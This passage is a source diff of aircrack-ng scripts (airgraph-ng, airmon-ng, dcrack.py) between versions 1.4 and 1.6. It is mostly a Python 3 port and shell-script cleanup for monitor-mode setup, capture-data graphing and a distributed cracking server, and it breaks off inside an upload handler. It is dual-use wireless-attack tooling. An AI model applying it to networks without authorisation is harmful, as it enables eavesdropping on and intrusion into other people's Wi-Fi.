+        ret = libDumpParse.airDumpParse().parser(csv_)
         self.capr   = ret['capr']
         self.Ap     = ret['apDict']
-        self.client = ret['clientDict'] 
+        self.client = ret['clientDict']
         self.NA     = ret['NA']
         self.NAP    = ret['NAP']
+        self.csv    = csv_
+        self.png    = png_
 
         #144x144 hard code image size to 12feet x 12feet
         #start graphviz config file
@@ -57,8 +58,8 @@
         Display a graph showing what clients are talking to what AP's
         """
         tclient = 0 #total client number
-        tap     = len(self.capr.keys()) #total ap list
-        for bssid in self.capr.keys():
+        tap     = len(list(self.capr.keys())) #total ap list
+        for bssid in list(self.capr.keys()):
             time = [self.Ap[bssid]['lts'],self.Ap[bssid]['fts']]
             priv = self.Ap[bssid]['privacy']
             if priv == '':
@@ -72,7 +73,11 @@
                 self.apLabel(bssid,Color,len(self.capr[bssid]),time))
         footer ='label="Generated by Airgraph-ng\\n%s Access Points and\\n%s Clients shown";\n}' %(tap,tclient)
         self.dotFile.append(footer)
-    
+        self.dot = os.path.splitext(self.csv)[0] + '-capr.dot'
+        if self.png == None:
+            self.png = os.path.splitext(self.csv)[0] + '-capr.png'
+
+
     def CPG(self):
         """
         Common Probe Graph
@@ -80,7 +85,7 @@
         """
         probeCount = 0
         clientCount = {}
-        for key in self.client.keys():
+        for key in list(self.client.keys()):
             sdata = self.client[key]
             lts = sdata['lts']
             fts = sdata['fts'] 
@@ -94,15 +99,18 @@
                     self.dotFile.append(self.linker(key,'->', cleaned_probe))
                     clientColor = '%s\\nRequested %s probes' %(key,lpc)
                     self.dotFile.append(self.clientColor(key,'black',[lts,fts],None,True))
-        footer = 'label="Generated by Airgraph-ng\\n%s Probes and \\n%s Clients are shown";\n}' % (probeCount,len(clientCount.keys()))
+        footer = 'label="Generated by Airgraph-ng\\n%s Probes and \\n%s Clients are shown";\n}' % (probeCount,len(list(clientCount.keys())))
         self.dotFile.append(footer)
+        self.dot = os.path.splitext(self.csv)[0] + '-cpg.dot'
+        if self.png == None:
+            self.png = os.path.splitext(self.csv)[0] + '-cpg.png'
 
     def clientColor(self,mac,color,time=None,label=None,DouiCheck=False):
         """
         format the client with a color and a label
         return graphiz format line
         """
-        
+
         if label == None:
             label = mac
         #device OUI check
@@ -126,7 +134,7 @@
             color = "firebrick2"
         elif enc == "WEP":
             color = "gold2"
-        elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]:
+        elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN", "WPA3 WPA2"]:
             color = "green3"
         else: #unknown enc type
             color = "black"
@@ -136,7 +144,7 @@
 
     def linker(self,objA,sep,objB):
         """
-        Retrun a graphviz line that links 2 objects togeather
+        Return a graphviz line that links 2 objects together
         Both objects are passed in with a separator
         returns graphiz format line
         """
@@ -148,13 +156,13 @@
         """
         dotdata = ''.join(self.dotFile)
         try:
-            os.remove('airGconfig.dot')
+            os.remove(self.dot)
         except Exception:
             pass
-        nfile = open('airGconfig.dot','a')
+        nfile = open(self.dot,'a')
         nfile.write(dotdata)
         nfile.close()
-    
+
     def clientOuiLookup(self,oui):
         """
         check ouiDevices and attempt to determine the device type
@@ -186,21 +194,22 @@
         AP = self.Ap[bssid]
         return'\t"%s" [label="%s\\nEssid: %s\\nChannel: %s\\nEncryption: %s\\nOUI: %s\\nFirst Time Seen: %s\\n Last Time Seen: %s\\nNumber of Clients: %s" style=filled fillcolor="%s" fontcolor="%s" fontsize=9];\n' %(bssid,bssid,AP['essid'].rstrip('\x00').replace('"', '\\"'),AP['channel'],AP['privacy'],self.APouiLookup(bssid),fts,lts,cnum,color[0],color[1])
 
-    def graphCreate(self,fname,outname):
+    def graphCreate(self,keepdot_):
         """
         Write out the graphviz dotFile and creat the graph
         """
         print("\n**** WARNING Images can be large, up to 12 Feet by 12 Feet****")
-        print("Creating your Graph using, %s and writing to, %s"  %(fname,outname))
+        print("Creating your Graph using, %s and writing to, %s"  %(self.csv,self.png))
         print("Depending on your system this can take a bit. Please standby......")
-    
+
         try:
-            subprocess.Popen(["fdp","-Tpng","airGconfig.dot","-o",outname,"-Gcharset=latin1"]).wait()
+            subprocess.Popen(["fdp","-Tpng",self.dot,"-o",self.png,"-Gcharset=latin1"]).wait()
         except Exception:
-            os.remove("airGconfig.dot")
+            os.remove(self.dot)
             print("You seem to be missing the Graphviz toolset. Did you check out the airgraph-ng Deps in the readme?")
             sys.exit(1)
-        os.remove("airGconfig.dot") #comment this line out for dotfile debugging
+        if not keepdot_:
+            os.remove(self.dot)
 
 if __name__ == "__main__":
     """
@@ -209,50 +218,54 @@
     Error checking is done in here.
     Variables are defined and all calls are made from MAIN.
     """
-    parser = optparse.OptionParser("usage: %prog options [-o -i -g ] ")  #
-    parser.add_option("-o", 
-        "--output", 
-        dest="output",
-        nargs=1, 
+    parser = argparse.ArgumentParser(description="Generate Client to AP Relationship (CAPR) and Common probe graph (CPG) from a airodump-ng CSV file")  #
+    parser.add_argument("-o",
+        "--output",
         help="Our Output Image ie... Image.png")
-    parser.add_option("-i", 
-        "--dump", 
-        dest="input", 
-        nargs=1 
-        ,help="Airodump txt file in CSV format. NOT the pcap")
-    parser.add_option("-g", 
+    parser.add_argument("-i",
+        "--input",
+        help="Airodump-ng txt file in CSV format. NOT the pcap")
+    parser.add_argument("-g",
         "--graph",
-        dest="graph_type", 
-        nargs=1,
+        dest="graph_type",
         help="Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]")
-    
+    parser.add_argument("-d",
+        "--dotfile",
+        dest="keep_dot",
+        action="store_true",
+        default=False,
+        help="Keep the dot graph file after the export to the PNG image has been done")
+
     if len(sys.argv) <= 1:
         interface().header()
         parser.print_help()
         sys.exit(0)
-    (options, args) = parser.parse_args()
 
-    outFile = options.output
-    graphType = options.graph_type
-    inFile = options.input
+    args = parser.parse_args()
+
+    outFile = args.output
+    graphType = args.graph_type
+    inFile = args.input
+    keepdot = args.keep_dot
 
     if inFile == None:
         print("Error No Input File Specified")
         sys.exit(1)
-    if outFile == None: 
-        outFile = options.input.replace('.txt', '.png')
+
     if graphType == None:
         print("Error No Graph Type Defined")
         sys.exit(1)
+
     if graphType.upper() not in ['CAPR','CPG','ZKS']:
         print("Error Invalid Graph Type\nVaild types are CAPR or CPG")
         sys.exit(1)
-    dot = dotCreate(inFile)
+
+    dot = dotCreate(inFile, outFile)
+
     if graphType.upper() == 'CPG':
         dot.CPG()
-        dot.dotWrite()
-        dot.graphCreate(inFile,outFile)
     elif graphType.upper() == 'CAPR':
         dot.CAPR()
-        dot.dotWrite()
-        dot.graphCreate(inFile,outFile)
+
+    dot.dotWrite()
+    dot.graphCreate(keepdot)

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/graphviz/libDumpParse.py -> aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/graphviz/libDumpParse.py Changed

@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python
 #airodump parsing lib
 #returns in an array of client and Ap information
 #part of the airdrop-ng project
@@ -19,7 +19,7 @@
         self.clientApChannelRelationship()
         return {'NA':self.NA,'capr':self.capr,'apDict':self.apDict,
             'clientDict':self.clientDict,'NAP':self.NAP}
-        
+
     def airDumpOpen(self,file):
         """
         Takes one argument (the input file) and opens it for reading
@@ -28,13 +28,13 @@
         try:
             openedFile = open(file, "r")
         except IOError:
-            print "Error Airodump File",file,"does not exist"
+            print("Error Airodump File",file,"does not exist")
             Exit(1)
-        data = openedFile.xreadlines()
+        data = openedFile
         cleanedData = [line.rstrip() for line in data]
         openedFile.close()
         return cleanedData
-    
+
     def airDumpParse(self,cleanedDump):
         """
         Function takes parsed dump file list and does some more cleaning.
@@ -51,16 +51,16 @@
             except Exception:
                 stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID')
         except Exception:
-            print "Invalid input file. Please make sure you are loading an airodump txt file and not a pcap"
+            print("Invalid input file. Please make sure you are loading an airodump txt file and not a pcap")
             Exit(1)
-    
+
         del cleanedDump[stationStart] #Remove the heading line
         clientList = cleanedDump[stationStart:] #Splits all client data into its own list
         del cleanedDump[stationStart:] #The remaining list is all of the AP information
         self.apDict = self.apTag(cleanedDump)
         self.clientDict = self.clientTag(clientList)
         return
-    
+
     def apTag(self,devices):
         """
         Create a ap dictionary with tags of the data type on an incoming list
@@ -102,7 +102,7 @@
             if len(ap) != 0:
                 dict[string_list[0]] = ap
         return dict
-    
+
     def clientTag(self,devices):
         """
         Create a client dictionary with tags of the data type on an incoming list
@@ -122,11 +122,11 @@
             if len(client) != 0:
                 dict[string_list[0]] = client
         return dict
-    
+
     def clientApChannelRelationship(self):
         """
         parse the dic for the relationships of client to ap
-        in the process also populate list of     
+        in the process also populate list of
         """
         clients = self.clientDict
         AP = self.apDict
@@ -137,14 +137,14 @@
         for key in (clients):
             mac = clients[key] #mac is the MAC address of the client
             if mac["bssid"] != ' (notassociated) ': #one line of our dictionary of clients
-                if AP.has_key(mac["bssid"]): # if it is check to see it's an AP we can see and have info on
-                    if apClient.has_key(mac["bssid"]): 
+                if mac["bssid"] in AP: # if it is check to see it's an AP we can see and have info on
+                    if mac["bssid"] in apClient: 
                         apClient[mac["bssid"]].extend([key]) #if key exists append new client
-                    else: 
+                    else:
                         apClient[mac["bssid"]] = [key] #create new key and append the client
                 else: NAP.append(key) # stores the clients that are talking to an access point we can't see
             else: NA.append(key) #stores the lines of the not associated AP's in a list
         self.NAP = NAP
         self.NA  = NA
         self.capr = apClient
-        return 
+        return

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/graphviz/libOuiParse.py -> aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/graphviz/libOuiParse.py Changed

@@ -23,20 +23,30 @@
 """
 
 import re
-import urllib
 import sys
+if sys.version_info[0] >= 3:
+	import urllib.request, urllib.parse, urllib.error
+else:
+	import urllib
 import os
 import pdb
 #this lib is crap and needs to be rewritten -Textile 
-
-if os.path.isdir('./support/'):
+print(os.getenv('AIRGRAPH_HOME'))
+if os.getenv('AIRGRAPH_HOME') is not None and os.path.isdir(os.getenv('AIRGRAPH_HOME')):
+    path=os.getenv('AIRGRAPH_HOME') + '/support/'
+    if not os.path.isdir(path):
+        try:
+            os.mkdir(path)
+        except:
+            raise Exception("Can't create destination directory (%s)!" % path)
+elif os.path.isdir('./support/'):
     path='./support/'
 elif os.path.isdir('/usr/local/share/airgraph-ng/'):
     path='/usr/local/share/airgraph-ng/'
 elif os.path.isdir('/usr/share/airgraph-ng/'):
     path='/usr/share/airgraph-ng/'
 else:
-    raise Exception("Could not determine path, please, check your installation")
+    raise Exception("Could not determine path, please, check your installation or set AIRGRAPH_HOME environment variable")
 
 class macOUI_lookup:
     """
@@ -65,9 +75,9 @@
         check for valid company name key
         """
         compMatch = re.compile(name,re.I)
-        if self.company_oui.has_key(name):
+        if name in self.company_oui:
             return True
-        for key in self.company_oui.keys():
+        for key in list(self.company_oui.keys()):
                 if compMatch.search(key) is not None:   
                     return True
         return False
@@ -77,7 +87,7 @@
         check for a valid oui prefix
         """
 
-        if self.oui_company.has_key(name): 
+        if name in self.oui_company: 
             return True
         else: 
             return False
@@ -88,9 +98,9 @@
         """
         if self.ouiKeyChk(mac) is not False:
             return self.oui_company[mac]
-        else: 
+        else:
             return False
-    
+
     def lookup_company(self,companyLst):
         """
         look up a company name and return their OUI's
@@ -99,7 +109,7 @@
         if type(companyLst) is list:
             for name in companyLst:
                 compMatch = re.compile(name,re.I)
-                if self.company_oui.has_key(name):
+                if name in self.company_oui:
                     oui.extend(self.company_oui[name])
                 else:
                     for key in self.company_oui:
@@ -107,16 +117,16 @@
                             oui.extend(self.company_oui[key])
 
         elif type(companyLst) is str:
-            if self.company_oui.has_key(companyLst):
+            if companyLst in self.company_oui:
                 oui = self.company_oui[companyLst]
             else:
-                
+
                 compMatch = re.compile(companyLst,re.I)
                 for key in self.company_oui:
                     if compMatch.search(key) is not None:
                         oui.extend(self.company_oui[key]) #return the oui for that key
         return oui
-                
+
     def ouiOpen(self,fname,flag='R'):
         """
         open the file and read it in
@@ -132,8 +142,8 @@
         except IOError:
             return False
 
-    
-    def ouiParse(self): 
+
+    def ouiParse(self):
         """
         generate a oui to company lookup dict
         """
@@ -149,32 +159,31 @@
                 HexOui[lineList[0].replace("-",":")] = lineList[2].strip()
                 #build a dict in the format of mac:company name 
         return HexOui
-    
+
     def companyParse(self):
         """
         generate a company to oui lookup dict
         """
         company_oui = {}
         for oui in self.oui_company:
-            if company_oui.has_key(self.oui_company[oui]):
+            if self.oui_company[oui] in company_oui:
                 company_oui[self.oui_company[oui]].append(oui)
             else:
                 company_oui[self.oui_company[oui]] = [oui]
         return company_oui
-        
 
     def ouiUpdate(self):
         """
         Grab the oui txt file off the ieee.org website
         """
         try:
-            print("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path))
-            urllib.urlretrieve(self.ouiTxtUrl, path + "oui.txt")
-            print "Completed Successfully"
-        except Exception, error:
-            print("Could not download file:\n %s\n Exiting airgraph-ng" %(error))
+            print(("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path)))
+            urllib.request.urlretrieve(self.ouiTxtUrl, path + "oui.txt")
+            print("Completed Successfully")
+        except Exception as error:
+            print(("Could not download file:\n %s\n Exiting airgraph-ng" %(error)))
             sys.exit(0)
-   
+
     def identDeviceDict(self,fname):
         """
         Create two dicts allowing device type lookup
@@ -189,7 +198,7 @@
         for line in data:
             dat = line.strip().split(',')
             self.ouitodevice[dat[1]] = dat[0]
-            if dat[0] in self.devicetooui.keys():
+            if dat[0] in list(self.devicetooui.keys()):
                 self.devicetooui[dat[0]].append(dat[1])
             else:
                 self.devicetooui[dat[0]] = [dat[1]]
@@ -211,7 +220,7 @@
             dat[0] = dat[0].upper()
             self.ouitodeviceWhatmac[dat[0]] = dat[1]
             self.ouitodeviceWhatmac3[dat[0][0:8]] = dat[1] # a db to support the 3byte lookup from whatmac
-            if dat[1] in self.devicetoouiWhacmac.keys():
+            if dat[1] in list(self.devicetoouiWhacmac.keys()):
                 self.devicetoouiWhacmac[dat[1]].append(dat[0])
             else:
                 self.devicetoouiWhacmac[dat[1]] = [dat[0]]

aircrack-ng-1.4.tar.gz/scripts/airmon-ng.linux -> aircrack-ng-1.6.tar.gz/scripts/airmon-ng.linux Changed

@@ -6,7 +6,7 @@
 IFACE=""
 checkvm_status=""
 MAC80211=0
-IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-4.9.tar.xz"
+IW_SOURCE="https://mirrors.edge.kernel.org/pub/software/network/iw/iw-5.4.tar.xz"
 IW_ERROR=""
 if [ ! -d /sys/ ]; then
 	printf "CONFIG_SYSFS is disabled in your kernel, this program will almost certainly not work.\n"
@@ -111,7 +111,7 @@
 		PCI_DEVICES=1
 	elif [ -r /proc/bus/pci/devices ] && [ -n "$(cat /proc/bus/pci/devices 2>/dev/null)" ]; then
 		PCI_DEVICES=1
-	elif [ -d /sys/bus/pci_express/devices ] && [ -n "$(ls -1 /sys/bus/pci_express/devices 2>/dev/null | wc -l)" != '0' ]; then
+	elif [ -d /sys/bus/pci_express/devices ] && [ "$(ls -1 /sys/bus/pci_express/devices 2>/dev/null | wc -l)" != '0' ]; then
 		PCI_DEVICES=1
 	fi
 
@@ -313,7 +313,7 @@
 	if [ $? != 0 ]; then
 		rfkill_status="$(rfkill unblock $index 2>&1)"
 		if [ $? != 0 ]; then
-			if [ `echo "$blah" | grep "Usage" | wc -l` -eq 1 ]; then
+      if [ $(echo "${rfkill_status}" | grep -c "Usage") -eq 1 ]; then
 				printf "Missing parameters in rfkill! Report this"
 			else
 				printf "rfkill error: ${rfkill_status}\n"
@@ -350,6 +350,20 @@
 	fi
 }
 
+ifaceExists() {
+	if [ -x "$(command -v ip 2>&1)" ]; then
+		ifaceExistsCmd="ip link show dev"
+	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
+		ifaceExistsCmd="ifconfig"
+	fi
+	if ${ifaceExistsCmd} ${1} > /dev/null 2>&1
+	then
+		return
+	else
+		return 1
+	fi
+}
+
 #listIfaceUnspec() {
 #	if [ -x "$(command -v ip 2>&1)" ]; then
 #		ip link 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $2}'
@@ -375,7 +389,7 @@
 }
 
 yesorno() {
-	read input
+	read -r input
 	case $input in
 		y) return 0 ;;
 		yes) return 0 ;;
@@ -429,6 +443,14 @@
 			fi
 		done
 	fi
+  #check if chipset has driver not under mac80211 stack
+  if [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ] || [ "${DRIVER}" = "88XXau" ]; then
+    #grumble grumble, seriously crap vendor driver
+    setLink ${1} down
+    startDeprecatedIface ${1}
+    setChannelMac80211 ${1}
+    return
+  fi
 	#we didn't bail means we need a monitor interface
 	if [ ${#1} -gt 12 ]; then
 		printf "Interface ${1}mon is too long for linux so it will be renamed to the old style (wlan#) name.\n"
@@ -442,12 +464,6 @@
 		fi
 		#we didn't bail means our target interface is available
 		setLink ${1} down
-		if [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ] || [ "${DRIVER}" = "88XXau" ]; then
-			#grumble grumble, seriously crap vendor driver
-			startDeprecatedIface ${1}
-			setChannelMac80211 ${1}
-			return
-		fi
 		IW_ERROR="$(iw phy ${PHYDEV} interface add ${1}mon type monitor 2>&1)"
 		if [ -z "${IW_ERROR}" ]; then
 			sleep 1
@@ -482,10 +498,22 @@
 	local HW_REV=$(grep Revision /proc/cpuinfo | awk '{print $3}')
 	[ -z "${HW_REV}" ] && return 0
 	# http://www.raspberrypi-spy.co.uk/2012/09/checking-your-raspberry-pi-board-version/
+	# https://www.raspberrypi.org/documentation/hardware/raspberrypi/revision-codes/README.md
 	[ "${HW_REV}" = 'a22082' ] && return 1
+	[ "${HW_REV}" = 'a32082' ] && return 1
+	[ "${HW_REV}" = 'a52082' ] && return 1
 	[ "${HW_REV}" = 'a02082' ] && return 1
 	[ "${HW_REV}" = '9000c1' ] && return 1
 	[ "${HW_REV}" = 'a020d3' ] && return 1
+	[ "${HW_REV}" = '9020e0' ] && return 1
+	[ "${HW_REV}" = '9020e0' ] && return 1
+	[ "${HW_REV}" = 'a22083' ] && return 1
+	[ "${HW_REV}" = 'a020a0' ] && return 1
+	[ "${HW_REV}" = 'a220a0' ] && return 1
+	[ "${HW_REV}" = 'a02100' ] && return 1
+	[ "${HW_REV}" = 'a03111' ] && return 1
+	[ "${HW_REV}" = 'b03111' ] && return 1
+	[ "${HW_REV}" = 'c03111' ] && return 1
 	return 0
 }
 
@@ -499,8 +527,7 @@
 			fi
 		fi
 		if [ -w "/proc/brcm_monitor0" ]; then
-			printf "1" > /proc/brcm_monitor0
-			if [ "$?" = "0" ]; then
+			if printf "1" > /proc/brcm_monitor0; then
 				printf "\n\t\t(experimental wl monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n"
 			else
 				printf "\n\t\t(failed to enable experimental wl monitor mode for [${PHYDEV}${1})\n"
@@ -525,6 +552,7 @@
 
 setChannelMac80211() {
 	setLink ${1} up
+	local i=0
 	if [ -n "${CH}" ]; then
 		if [ ${CH} -lt 1000 ]; then
 			if [ -r "/sys/class/net/$1/phy80211/name" ]; then
@@ -706,10 +734,10 @@
 
 	#here we test for driver usb, ath9k_htc,rt2870, possibly others show this
 	if [ "$DRIVER" = "usb" ]; then
-		printf "Warn ON: USB\n"
 		BUSADDR="$(printf "$ethtool_output" | awk '/bus-info/ {print $2}'):1.0"
 
 		if [ "$DEBUG" = "1" ]; 	then
+			printf "Warn ON: USB\n"
 			printf "${BUSADDR}\n"
 		fi
 
@@ -745,29 +773,29 @@
 	#Here we will catch the broken lying drivers not caught above
 	#currently this only functions for pci devices and not usb since lsusb has no -k option
 	if [ "${MODINFO}" = "1" ]; then
-		if $(modinfo -F filename $DRIVER  > /dev/null 2>&1)
+		if modinfo -F filename ${DRIVER}  > /dev/null 2>&1
 		then
 			true
 		else
-			save="$DRIVER"
+			save="${DRIVER}"
 
-			if [ -n "${DEVICEID}" ] && [ "$BUS" = "pci" ]; then
-				DRIVER="$(lspci -d $DEVICEID -k | awk '/modules/ {print $3}')"
+			if [ -n "${DEVICEID}" ] && [ "${BUS}" = "pci" ]; then
+				DRIVER="$(lspci -d ${DEVICEID} -k | awk '/modules/ {print $3}')"
 			fi
 			if [ -z "${BUS}" ] || [ "${BUS}" != 'sdio' ]; then
 					unset DRIVER
 			fi
 
-			if [ -n "$save" ] && [ -z "$DRIVER" ] ; then
-				DRIVER="$save"
+			if [ -n "${save}" ] && [ -z "${DRIVER}" ] ; then
+				DRIVER="${save}"
 			fi
 		fi
 	fi
-	if [ -z "$DRIVER" ] ; then
+	if [ -z "${DRIVER}" ] ; then
 		DRIVER="??????"
 	fi
-	if [ "$DEBUG" = "1" ]; then
-		printf "getdriver() $DRIVER\n"
+	if [ "${DEBUG}" = "1" ]; then
+		printf "getdriver() ${DRIVER}\n"
 	fi
 }
 
@@ -830,11 +858,11 @@
 getChipset() {
 	#this needs cleanup, we shouldn't have multiple lines assigning chipset per bus
 	#fix this to be one line per bus
-	if [ -f /sys/class/net/$1/device/modalias ]; then
-		if [ "$BUS" = "usb" ]; then
+	if [ -f /sys/class/net/${1}/device/modalias ]; then
+		if [ "${BUS}" = "usb" ]; then
 			if [ "${LSUSB}" = "1" ]; then
-				BUSINFO="$(cut -d ":" -f 2 /sys/class/net/$1/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
-				CHIPSET="$(lsusb -d "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
+				BUSINFO="$(cut -d ":" -f 2 /sys/class/net/${1}/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
+				CHIPSET="$(lsusb -d "${BUSINFO}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
 			elif [ "${LSUSB}" = "0" ]; then
 				printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n"
 				exit 1
@@ -843,15 +871,15 @@
 		elif [ "${BUS}" = "pci" -o "${BUS}" = "pcmcia" ] && [ "${LSPCI}" = "1" ]; then
 			if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then
 				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
-				CHIPSET="$(lspci -d $DEVICEID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
+				CHIPSET="$(lspci -d ${DEVICEID} | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
 			else
-				BUSINFO="$(printf "$ethtool_output" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
-				CHIPSET="$(lspci | grep "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
-				DEVICEID="$(lspci -nn | grep "$BUSINFO" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
+				BUSINFO="$(printf "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
+				CHIPSET="$(lspci | grep "${BUSINFO}" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
+				DEVICEID="$(lspci -nn | grep "${BUSINFO}" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
 			fi
 		elif [ "${BUS}" = "sdio" ]; then
-			if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then
-				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
+			if [ -f /sys/class/net/${1}/device/vendor ] && [ -f /sys/class/net/${1}/device/device ]; then
+				DEVICEID="$(cat /sys/class/net/${1}/device/vendor):$(cat /sys/class/net/${1}/device/device)"
 			fi
 			if [ "${DEVICEID}" = '0x02d0:0x4330' ]; then
 				CHIPSET='Broadcom 4330'
@@ -878,22 +906,22 @@
 			elif [ "${DEVICEID}" = '0x02d0:0xa887' ]; then
 				CHIPSET='Broadcom 43143'
 			else
-				CHIPSET="unable to detect for sdio $DEVICEID"
+				CHIPSET="unable to detect for sdio ${DEVICEID}"
 			fi
 		else
 			CHIPSET="Not pci, usb, or sdio"
 		fi
 	#we don't do a check for usb here but it is obviously only going to work for usb
-	elif [ -f /sys/class/net/$1/device/idVendor ] && [ -f /sys/class/net/$1/device/idProduct ]; then
-		DEVICEID="$(cat /sys/class/net/$1/device/idVendor):$(cat /sys/class/net/$1/device/idProduct)"
+	elif [ -f /sys/class/net/${1}/device/idVendor ] && [ -f /sys/class/net/${1}/device/idProduct ]; then
+		DEVICEID="$(cat /sys/class/net/${1}/device/idVendor):$(cat /sys/class/net/${1}/device/idProduct)"
 		if [ "${LSUSB}" = "1" ]; then
-			CHIPSET="$(lsusb | grep -i "$DEVICEID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
+			CHIPSET="$(lsusb | grep -i "${DEVICEID}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
 		elif [ "${LSUSB}" = "0" ]; then
 			CHIPSET="idVendor and idProduct found on non-usb device, please report this."
 		fi
 	elif [ "${DRIVER}" = "mac80211_hwsim" ]; then
 		CHIPSET="Software simulator of 802.11 radio(s) for mac80211"
-	elif $(printf "$ethtool_output" | awk '/bus-info/ {print $2}' | grep -q bcma)
+	elif $(printf "${ethtool_output}" | awk '/bus-info/ {print $2}' | grep -q bcma)
 	then
 		BUS="bcma"
 
@@ -906,11 +934,11 @@
 		CHIPSET="non-mac80211 device? (report this!)"
 	fi
 
-	if [ "$DEBUG" = "1" ]; then
-		printf "getchipset() $CHIPSET\n"
-		printf "BUS = $BUS\n"
-		printf "BUSINFO = $BUSINFO\n"
-		printf "DEVICEID = $DEVICEID\n"
+	if [ "${DEBUG}" = "1" ]; then
+		printf "getchipset() ${CHIPSET}\n"
+		printf "BUS = ${BUS}\n"
+		printf "BUSINFO = ${BUSINFO}\n"
+		printf "DEVICEID = ${DEVICEID}\n"
 	fi
 }
 
@@ -954,7 +982,7 @@
 		EXTENDED="rfkill soft blocked"
 	elif [ "${rfkill_retcode}" = "2" ]; then
 		EXTENDED="rfkill hard blocked"
-	elif [ "${rfkill_redcode}" = "3" ]; then
+	elif [ "${rfkill_retcode}" = "3" ]; then
 		EXTENDED="rfkill hard and soft blocked"
 	fi
 
@@ -1076,13 +1104,19 @@
 		pso="1"
 	fi
 
-	PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox"
+	PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox\|net_applet\|wicd-daemon\|wicd-client\|iwd"
 	#PS_ERROR="invalid\|illegal"
 
 	if [ -x "$(command -v service 2>&1)" ] && [ "$1" = "kill" ]; then
 		service network-manager stop 2> /dev/null > /dev/null
 		service NetworkManager stop 2> /dev/null > /dev/null
 		service avahi-daemon stop 2> /dev/null > /dev/null
+		while [ $? -eq 1 ]; do
+			# Sometimes avahi is persistent and keeps being restarted by systemd.
+			# It's usually 4 times that it needs to be stopped
+			service avahi-daemon stop 2> /dev/null > /dev/null
+		done
+		service wicd stop 2> /dev/null > /dev/null
 	fi
 
 	unset match
@@ -1168,7 +1202,7 @@
 	for iface in $(ls -1 /sys/class/net)
 	do
 		if [ -f /sys/class/net/${iface}/uevent ]; then
-			if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent)
+			if grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent
 			then
 				iface_list="${iface_list}\n ${iface}"
 			fi
@@ -1332,6 +1366,15 @@
 	fi
 fi
 
+#start/stop interface existance check
+if [ "$1" = "start" ] || [ "$1" = "stop" ]; then
+  if ! ifaceExists "${2}"; then
+    printf "Requested device \"${2}\" does not exist.\n"
+    printf "Run ${0} without any arguments to see available interfaces\n"
+    exit 1
+  fi
+fi
+
 #startup checks complete, headers then main
 
 if [ "$DEBUG" = "1" ]; then
@@ -1442,9 +1485,7 @@
 			getExtendedInfo ${iface}
 		fi
 	else
- 		printf "\nethtool failed...\n"
-		printf "Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng.\n"
-		exit 1
+ 		CHIPSET="ethtool failed... driver is broken"
 	fi
 
 	#yes this really is the main output loop

aircrack-ng-1.4.tar.gz/scripts/dcrack.py -> aircrack-ng-1.6.tar.gz/scripts/dcrack.py Changed

@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python
 
 import sys
 import os
@@ -51,25 +51,72 @@
 		s.wfile.write(bytes(result, "UTF-8"))
 
 	def do_POST(s):
-		if ("dict" in s.path):
-			s.do_upload_dict()
+		POST_failure = True
+
+		# Read data here and pass it, so we can handle chunked encoding
+		if ("dict" in s.path) or ("cap" in s.path):
+
+			tmp_file = "/tmp/" + next(tempfile._get_candidate_names())
+			with open(tmp_file, "wb") as fid:
+				if s.headers.get('Content-Length'):
+					cl = int(s.headers['Content-Length'])
